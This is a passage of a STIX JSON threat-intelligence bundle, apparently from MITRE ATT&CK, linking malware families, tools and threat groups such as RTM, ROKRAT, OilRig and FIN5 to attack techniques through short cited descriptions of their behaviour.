                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf",
                    "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.",
                    "source_name": "FireEye APT37 Feb 2018"
                },
                {
                    "source_name": "Unit 42 Nokki Oct 2018",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/10/unit42-nokki-almost-ties-the-knot-with-dogcall-reaper-group-uses-new-malware-to-deploy-rat/",
                    "description": "Grunzweig, J. (2018, October 01). NOKKI Almost Ties the Knot with DOGCALL: Reaper Group Uses New Malware to Deploy RAT. Retrieved November 5, 2018."
                }
            ],
            "source_ref": "malware--0852567d-7958-4f4b-8947-4f840ec8d57d",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--be055942-6e63-49d7-9fa1-9cb7d8a8f3f4",
            "type": "relationship",
            "modified": "2020-03-20T21:09:51.958Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--5a1876a1-144f-4416-b9bf-6df819613962",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[PUNCHBUGGY](https://attack.mitre.org/software/S0196) mimics filenames from %SYSTEM%\\System32 to hide DLLs in %WINDIR% and/or %TEMP%.(Citation: FireEye Know Your Enemy FIN8 Aug 2016)(Citation: Morphisec ShellTea June 2019)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye Know Your Enemy FIN8 Aug 2016",
                    "description": "Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy:  New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.",
                    "url": "https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html"
                },
                {
                    "description": "Gorelik, M.. (2019, June 10). SECURITY ALERT: FIN8 IS BACK IN BUSINESS, TARGETING THE HOSPITALITY INDUSTRY. Retrieved June 13, 2019.",
                    "url": "http://blog.morphisec.com/security-alert-fin8-is-back",
                    "source_name": "Morphisec ShellTea June 2019"
                }
            ],
            "source_ref": "malware--5c6ed2dc-37f4-40ea-b2e1-4c76140a388c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2",
            "type": "relationship",
            "modified": "2020-03-18T15:36:43.207Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--7653431a-18ac-43da-8308-63c76ecf0c22",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Umbreon](https://attack.mitre.org/software/S0221) hides from defenders by hooking libc function calls, hiding artifacts that would reveal its presence, such as the user account it creates to provide access and undermining strace, a tool often used to identify malware.(Citation: Umbreon Trend Micro)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Umbreon Trend Micro",
                    "description": "Fernando Merc\u00eas. (2016, September 5). Pok\u00e9mon-themed Umbreon Linux Rootkit Hits x86, ARM Systems. Retrieved March 5, 2018.",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/pokemon-themed-umbreon-linux-rootkit-hits-x86-arm-systems/?_ga=2.180041126.367598458.1505420282-1759340220.1502477046"
                }
            ],
            "source_ref": "malware--3d8e547d-9456-4f32-a895-dc86134e282f",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b",
            "type": "relationship",
            "modified": "2020-03-16T19:09:40.075Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--39590383-ba69-4d8f-9520-e893cd4ebcdf",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[FIN5](https://attack.mitre.org/groups/G0053) scans processes on all victim systems in the environment and uses automated scripts to pull back the results.(Citation: Mandiant FIN5 GrrCON Oct 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.youtube.com/watch?v=fevGZs0EQu8",
                    "description": "Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.",
                    "source_name": "Mandiant FIN5 GrrCON Oct 2016"
                }
            ],
            "source_ref": "intrusion-set--85403903-15e0-4f9f-9be4-a259ecad4022",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830",
            "type": "relationship",
            "modified": "2020-03-19T17:57:01.425Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--afcc4ac4-b088-4795-b159-c6245223178b",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[GravityRAT](https://attack.mitre.org/software/S0237) steals files with the following extensions: .docx, .doc, .pptx, .ppt, .xlsx, .xls, .rtf, and .pdf.(Citation: Talos GravityRAT)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Talos GravityRAT",
                    "description": "Mercer, W., Rascagneres, P. (2018, April 26). GravityRAT - The Two-Year Evolution Of An APT Targeting India. Retrieved May 16, 2018.",
                    "url": "https://blog.talosintelligence.com/2018/04/gravityrat-two-year-evolution-of-apt.html"
                }
            ],
            "source_ref": "malware--1d1fce2f-0db5-402b-9843-4278a0694637",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5",
            "type": "relationship",
            "modified": "2019-04-24T23:21:59.264Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--717d87d5-df97-48a9-8766-c9a947541e1d",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Crimson](https://attack.mitre.org/software/S0115) contains a command to perform screen captures.(Citation: Proofpoint Operation Transparent Tribe March 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Proofpoint Operation Transparent Tribe March 2016",
                    "description": "Huss, D.. (2016, March 1). Operation Transparent Tribe. Retrieved June 8, 2016.",
                    "url": "https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf"
                }
            ],
            "source_ref": "malware--326af1cd-78e7-45b7-a326-125d2f7ef8f2",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688",
            "type": "relationship",
            "modified": "2020-03-17T16:19:37.518Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--b0099b28-bcb8-4214-8166-d9caed1b6491",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[JHUHUGIT](https://attack.mitre.org/software/S0044) has registered itself as a service to establish persistence.(Citation: ESET Sednit Part 1)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ESET Sednit Part 1",
                    "description": "ESET. (2016, October). En Route with Sednit - Part 1: Approaching the Target. Retrieved November 8, 2016.",
                    "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part1.pdf"
                }
            ],
            "source_ref": "malware--8ae43c46-57ef-47d5-a77a-eebb35628db2",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32",
            "type": "relationship",
            "modified": "2020-01-17T22:22:30.737Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--74486fa3-a5b8-49b2-82b7-0c453b4baf12",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Tor](https://attack.mitre.org/software/S0183) encapsulates traffic in multiple layers of encryption, using TLS by default.(Citation: Dingledine Tor The Second-Generation Onion Router)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Dingledine Tor The Second-Generation Onion Router",
                    "description": "Roger Dingledine, Nick Mathewson and Paul Syverson. (2004). Tor: The Second-Generation Onion Router. Retrieved December 21, 2017.",
                    "url": "http://www.dtic.mil/dtic/tr/fulltext/u2/a465464.pdf"
                }
            ],
            "source_ref": "tool--ed7d0cb1-87a6-43b4-9f46-ef1bc56d6c68",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada",
            "type": "relationship",
            "modified": "2020-04-29T23:00:47.227Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--23e2dc58-4b8d-48d8-82fd-d051892a7d58",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[RTM](https://attack.mitre.org/software/S0148) can record keystrokes from both the keyboard and virtual keyboard.(Citation: ESET RTM Feb 2017)(Citation: Unit42 Redaman January 2019)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf",
                    "description": "Faou, M. and Boutin, J. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.",
                    "source_name": "ESET RTM Feb 2017"
                },
                {
                    "source_name": "Unit42 Redaman January 2019",
                    "url": "https://unit42.paloaltonetworks.com/russian-language-malspam-pushing-redaman-banking-malware/",
                    "description": "Duncan, B., Harbison, M. (2019, January 23). Russian Language Malspam Pushing Redaman Banking Malware. Retrieved June 16, 2020."
                }
            ],
            "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4",
            "type": "relationship",
            "modified": "2020-06-16T20:51:13.916Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--1c0e8084-c8a5-4c8d-bac1-bfb7eb07b586",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Hydraq](https://attack.mitre.org/software/S0203) uses svchost.exe to execute a malicious DLL included in a new service group.(Citation: Symantec Hydraq Persistence Jan 2010)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Hydraq Persistence Jan 2010",
                    "description": "Fitzgerald, P. (2010, January 26). How Trojan.Hydraq Stays On Your Computer. Retrieved February 22, 2018.",
                    "url": "https://www.symantec.com/connect/blogs/how-trojanhydraq-stays-your-computer"
                }
            ],
            "source_ref": "malware--73a4793a-ce55-4159-b2a6-208ef29b326f",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4",
            "type": "relationship",
            "modified": "2020-02-18T03:48:53.733Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--37804b22-63b4-4b24-846e-6541688d9213",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[OwaAuth](https://attack.mitre.org/software/S0072) has a command to timestop a file or directory.(Citation: Dell TG-3390)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Dell TG-3390",
                    "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.",
                    "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage"
                }
            ],
            "source_ref": "malware--a60657fa-e2e7-4f8f-8128-a882534ae8c5",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--47f2d673-ca62-47e9-929b-1b0be9657611",
            "type": "relationship",
            "modified": "2020-01-09T17:15:14.822Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--d3b810ed-0be4-448b-b1ac-aa3a7dd16c91",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[MimiPenguin](https://attack.mitre.org/software/S0179) can dump process memory and extract clear-text credentials.(Citation: MimiPenguin GitHub May 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "MimiPenguin GitHub May 2017",
                    "description": "Gregal, H. (2017, May 12). MimiPenguin. Retrieved December 5, 2017.",
                    "url": "https://github.com/huntergregal/mimipenguin"
                }
            ],
            "source_ref": "tool--5a33468d-844d-4b1f-98c9-0e786c556b27",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--3120b9fa-23b8-4500-ae73-09494f607b7d",
            "type": "relationship",
            "modified": "2020-03-19T23:38:39.802Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--166326b3-6864-4667-aee9-4d7b24cc75d8",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[OilRig](https://attack.mitre.org/groups/G0049) has used HTTP for C2.(Citation: Unit 42 Playbook Dec 2017)(Citation: FireEye APT34 Webinar Dec 2017)(Citation: FireEye APT34 July 2019)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit 42 Playbook Dec 2017",
                    "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.",
                    "url": "https://pan-unit42.github.io/playbook_viewer/"
                },
                {
                    "url": "https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east",
                    "description": "Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.",
                    "source_name": "FireEye APT34 Webinar Dec 2017"
                },
                {
                    "description": "Bromiley, M., et al.. (2019, July 18). Hard Pass: Declining APT34\u2019s Invite to Join Their Professional Network. Retrieved August 26, 2019.",
                    "url": "https://www.fireeye.com/blog/threat-research/2019/07/hard-pass-declining-apt34-invite-to-join-their-professional-network.html",
                    "source_name": "FireEye APT34 July 2019"
                }
            ],
            "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "type": "relationship",
            "modified": "2020-03-17T02:02:47.606Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--fe229513-0cd9-4e9a-a333-2748ef03dfbc",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[USBStealer](https://attack.mitre.org/software/S0136) collects files matching certain criteria from the victim and stores them in a local directory for later exfiltration.(Citation: ESET Sednit USBStealer 2014)(Citation: Kaspersky Sofacy)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ESET Sednit USBStealer 2014",
                    "description": "Calvet, J. (2014, November 11). Sednit Espionage Group Attacking Air-Gapped Networks. Retrieved January 4, 2017.",
                    "url": "http://www.welivesecurity.com/2014/11/11/sednit-espionage-group-attacking-air-gapped-networks/"
                },
                {
                    "source_name": "Kaspersky Sofacy",
                    "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015.",
                    "url": "https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/"
                }
            ],
            "source_ref": "malware--af2ad3b7-ab6a-4807-91fd-51bcaff9acbb",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c",
            "type": "relationship",
            "modified": "2020-03-17T15:12:43.303Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--162a051d-a551-4b8c-875a-75264768e541",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[MoonWind](https://attack.mitre.org/software/S0149) installs itself as a new service with automatic startup to establish persistence. The service checks every 60 seconds to determine if the malware is running; if not, it will spawn a new instance.(Citation: Palo Alto MoonWind March 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Palo Alto MoonWind March 2017",
                    "description": "Miller-Osborn, J. and Grunzweig, J.. (2017, March 30). Trochilus and New MoonWind RATs Used In Attack Against Thai Organizations. Retrieved March 30, 2017.",
                    "url": "http://researchcenter.paloaltonetworks.com/2017/03/unit42-trochilus-rat-new-moonwind-rat-used-attack-thai-utility-organizations/"
                }
            ],
            "source_ref": "malware--9ea525fa-b0a9-4dde-84f2-bcea0137b3c1",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32",
            "type": "relationship",
            "modified": "2020-03-20T17:34:12.521Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--8d0d938e-2e4c-49e8-9290-6bfb86161260",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Duqu](https://attack.mitre.org/software/S0038) uses a custom command and control protocol that communicates over commonly used ports, and is frequently encapsulated by application layer protocols.(Citation: Symantec W32.Duqu)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_duqu_the_precursor_to_the_next_stuxnet.pdf",
                    "description": "Symantec Security Response. (2011, November). W32.Duqu: The precursor to the next Stuxnet. Retrieved September 17, 2015.",
                    "source_name": "Symantec W32.Duqu"
                }
            ],
            "source_ref": "malware--68dca94f-c11d-421e-9287-7c501108e18c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6",
            "type": "relationship",
            "modified": "2019-04-24T23:18:53.238Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--58c28a92-b3ed-41de-841d-8b8d1ad142be",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Mosquito](https://attack.mitre.org/software/S0256) can launch PowerShell Scripts.(Citation: ESET Turla Mosquito Jan 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ESET Turla Mosquito Jan 2018",
                    "description": "ESET, et al. (2018, January). Diplomats in Eastern Europe bitten by a Turla mosquito. Retrieved July 3, 2018.",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf"
                }
            ],
            "source_ref": "malware--92b55426-109f-4d93-899f-1833ce91ff90",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736",
            "type": "relationship",
            "modified": "2020-03-20T01:55:35.003Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--33327a36-9f05-4a27-ac6a-d36e4cee0b21",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[WINERACK](https://attack.mitre.org/software/S0219) can enumerate files and directories.(Citation: FireEye APT37 Feb 2018)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT37 Feb 2018",
                    "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.",
                    "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf"
                }
            ],
            "type": "relationship",
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2018-04-18T17:59:24.739Z",
            "source_ref": "malware--49abab73-3c5c-476e-afd5-69b5c732d845",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18"
        },
        {
            "id": "relationship--f22106b0-ca8c-45ad-b20c-5a5ddd7bf886",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[ROKRAT](https://attack.mitre.org/software/S0240) use HTTPS for all command and control communication methods.(Citation: Talos ROKRAT)(Citation: NCCGroup RokRat Nov 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://blog.talosintelligence.com/2017/04/introducing-rokrat.html",
                    "description": "Mercer, W., Rascagneres, P. (2017, April 03). Introducing ROKRAT. Retrieved May 21, 2018.",
                    "source_name": "Talos ROKRAT"
                },
                {
                    "source_name": "NCCGroup RokRat Nov 2018",
                    "url": "https://research.nccgroup.com/2018/11/08/rokrat-analysis/",
                    "description": "Pantazopoulos, N.. (2018, November 8). RokRat Analysis. Retrieved May 21, 2020."
                }
            ],
            "source_ref": "malware--60a9c2f0-b7a5-4e8e-959c-e1a3ff314a5f",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "type": "relationship",
            "modified": "2021-03-29T19:50:54.270Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--2d90749b-525e-4aa2-9df0-1d5677be0b25",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Pupy](https://attack.mitre.org/software/S0192)'s default encryption for its C2 communication channel is SSL, but it also has transport options for RSA and AES.(Citation: GitHub Pupy)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://github.com/n1nj4sec/pupy",
                    "description": "Nicolas Verdier. (n.d.). Retrieved January 29, 2018.",
                    "source_name": "GitHub Pupy"
                }
            ],
            "source_ref": "tool--cb69b20d-56d0-41ab-8440-4a4b251614d4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada",
            "type": "relationship",
            "modified": "2020-03-21T00:20:44.435Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--b94e707d-b2f8-4b68-acac-44d3777dd93f",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[RedLeaves](https://attack.mitre.org/software/S0153) has encrypted C2 traffic with RC4, previously using keys of 88888888 and babybear.(Citation: PWC Cloud Hopper Technical Annex April 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "PWC Cloud Hopper Technical Annex April 2017",
                    "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.",
                    "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf"
                }
            ],
            "source_ref": "malware--17b40f60-729f-4fe8-8aea-cc9ee44a95d5",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41",
            "type": "relationship",
            "modified": "2020-03-21T00:21:39.376Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--f6d23c00-158e-4e39-bf9b-f18344cd0151",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[RTM](https://attack.mitre.org/software/S0148) can capture screenshots.(Citation: ESET RTM Feb 2017)(Citation: Unit42 Redaman January 2019)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf",
                    "description": "Faou, M. and Boutin, J. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.",
                    "source_name": "ESET RTM Feb 2017"
                },
                {
                    "source_name": "Unit42 Redaman January 2019",
                    "url": "https://unit42.paloaltonetworks.com/russian-language-malspam-pushing-redaman-banking-malware/",
                    "description": "Duncan, B., Harbison, M. (2019, January 23). Russian Language Malspam Pushing Redaman Banking Malware. Retrieved June 16, 2020."
                }
            ],
            "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688",
            "type": "relationship",
            "modified": "2020-06-16T20:51:13.935Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--191885b6-1282-4173-a2bd-174c30c8a1dc",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "Variants of [WEBC2](https://attack.mitre.org/software/S0109) achieve persistence by using DLL search order hijacking, usually by copying the DLL file to <code>%SYSTEMROOT%</code> (<code>C:\\WINDOWS\\ntshrui.dll</code>).(Citation: Mandiant APT1 Appendix)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report-appendix.zip",
                    "description": "Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. Retrieved July 18, 2016.",
                    "source_name": "Mandiant APT1 Appendix"
                }
            ],
            "source_ref": "malware--1d808f62-cf63-4063-9727-ff6132514c22",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--2fee9321-3e71-4cf4-af24-d4d40d355b34",
            "type": "relationship",
            "modified": "2020-03-30T18:27:06.824Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--46f7ac67-a446-4fbf-8e62-271d619e71f0",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--06160d81-62be-46e5-aa37-4b9c645ffa31",
            "relationship_type": "mitigates",
            "target_ref": "attack-pattern--9c306d8d-cde7-4b4c-b6e8-d0bb16caca36",
            "type": "relationship",
            "modified": "2020-03-25T18:51:01.191Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--da7fb67f-3cb2-498d-a832-f98622bc9ee2",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[SynAck](https://attack.mitre.org/software/S0242) enumerates all running processes.(Citation: SecureList SynAck Doppelg\u00e4nging May 2018)(Citation: Kaspersky Lab SynAck May 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://securelist.com/synack-targeted-ransomware-uses-the-doppelganging-technique/85431/",
                    "description": "Ivanov, A. et al.. (2018, May 7). SynAck targeted ransomware uses the Doppelg\u00e4nging technique. Retrieved May 22, 2018.",
                    "source_name": "SecureList SynAck Doppelg\u00e4nging May 2018"
                },
                {
                    "url": "https://usa.kaspersky.com/about/press-releases/2018_synack-doppelganging",
                    "description": "Bettencourt, J. (2018, May 7). Kaspersky Lab finds new variant of SynAck ransomware using sophisticated Doppelg\u00e4nging technique. Retrieved May 24, 2018.",
                    "source_name": "Kaspersky Lab SynAck May 2018"
                }
            ],
            "source_ref": "malware--04227b24-7817-4de1-9050-b7b1b57f5866",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
            "type": "relationship",
            "modified": "2019-07-26T23:00:57.180Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--3ada7220-b5a6-45b9-a7ca-4a26423da831",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[hcdLoader](https://attack.mitre.org/software/S0071) provides command-line access to the compromised system.(Citation: Dell Lateral Movement)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Dell Lateral Movement",
                    "description": "Carvey, H.. (2014, September 2). Where you AT?: Indicators of lateral movement using at.exe on Windows 7 systems. Retrieved January 25, 2016.",
                    "url": "http://www.secureworks.com/resources/blog/where-you-at-indicators-of-lateral-movement-using-at-exe-on-windows-7-systems/"
                }
            ],
            "source_ref": "malware--9e2bba94-950b-4fcf-8070-cb3f816c5f4e",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "type": "relationship",
            "modified": "2020-03-20T02:25:56.199Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--547b575e-bc3c-488a-ae38-8bf6387b33f5",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[sqlmap](https://attack.mitre.org/software/S0225) can be used to automate exploitation of SQL injection vulnerabilities.(Citation: sqlmap Introduction)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "sqlmap Introduction",
                    "description": "Damele, B., Stampar, M. (n.d.). sqlmap. Retrieved March 19, 2018.",
                    "url": "http://sqlmap.org/"
